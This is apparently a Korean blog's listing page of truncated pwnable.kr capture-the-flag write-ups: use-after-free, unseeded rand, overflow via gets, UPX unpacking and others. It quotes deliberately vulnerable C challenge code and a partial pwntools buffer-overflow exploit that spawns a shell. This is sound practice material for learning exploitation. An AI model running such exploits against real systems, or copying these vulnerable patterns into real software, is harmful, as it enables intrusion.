본문 바로가기

전체 글

(187)
UAF 바이너리를 열어보면 노트를 추가, 삭제, 출력 기능이 있다 add_note함수에서는 먼저 8만큼의 힙을 할당받은 뒤 노트에 문자열이 될 힙을 원하는 크기만큼 할당받는다 print_note_content함수 주소와 문자열이 있는 청크의 주소는 처음 할당된 청크에 저장되고 이 청크 주소를 notelist에 저장한다 notelist에서 원하는 인덱스의 노트를 삭제시킬 수있다 (add_note에서 할당된 청크를 free시킨다) 문자열 데이터가 저장된 청크를 먼저 free시키고 add_note에서 처음 할당받은 청크를 free시킨다 notlist에 저장된 청크에 있는 함수를(print_note_content) 호출한다 del_note함수에서 할당된 청크를 free할때 notelist의 주소를 비워주지 않기 때문에..
mistake 전체 코드 아래 더보기 더보기 #include #include #define PW_LEN 10 #define XORKEY 1 void xor(char* s, int len){ int i; for(i=0; i 0)){ printf("read error\n"); close(fd); return 0; } char pw_buf2[PW_LEN+1]; printf("input password : "); scanf("%10s", pw_buf2); // xor your input xor(pw_buf2, 10); if(!strncmp(pw_buf, pw_buf2, PW_LEN)){ printf("Password OK\n"); system("/bin/cat flag\n"); } else{ printf("Wrong Pass..
leg c코드와 ARM 어셈블리 코드가 주어진다 (아래 더보기 참고) 더보기 #include #include int key1(){ asm("mov r3, pc\n"); } int key2(){ asm( "push{r6}\n" "addr6, pc, $1\n" "bxr6\n" ".code 16\n" "movr3, pc\n" "addr3, $0x4\n" "push{r3}\n" "pop{pc}\n" ".code32\n" "pop{r6}\n" ); } int key3(){ asm("mov r3, lr\n"); } int main(){ int key=0; printf("Daddy has very strong arm! : "); scanf("%d", &key); if( (key1()+key2()+key3()) == key ..
random #include int main(){ unsigned int random; random = rand();// random value! unsigned int key=0; scanf("%d", &key); if( (key ^ random) == 0xdeadbeef ){ printf("Good!\n"); system("/bin/cat flag"); return 0; } printf("Wrong, maybe you should try 2^32 cases.\n"); return 0; } 랜던 값을 생성하는데 시드값을 설장해주지 않으면 값이 고정되기 때문에 gdb로 값을 얻어 0xdeadbeef와 xor수행
passcode 예전에 작성한 write-up글 https://brain200.tistory.com/27?category=954859
flag UPX로 패킹된 바이너리 풀고 main함수에서 플래그를 얻었다
bof #include #include #include void func(int key){ char overflowme[32]; printf("overflow me : "); gets(overflowme);// smash me! if(key == 0xcafebabe){ system("/bin/sh"); } else{ printf("Nah..\n"); } } int main(int argc, char* argv[]){ func(0xdeadbeef); return 0; } 0xdeadbeef인 key를 0xcafebabe로 overwrite하면 된다 from pwn import * p = remote("pwnable.kr", 9000) payload = b"A" * 0x34 payload += p32(0xcafeb..
collision MD5 해쉬 충돌 #include #include unsigned long hashcode = 0x21DD09EC; unsigned long check_password(const char* p){ int* ip = (int*)p; int i; int res=0; for(i=0; i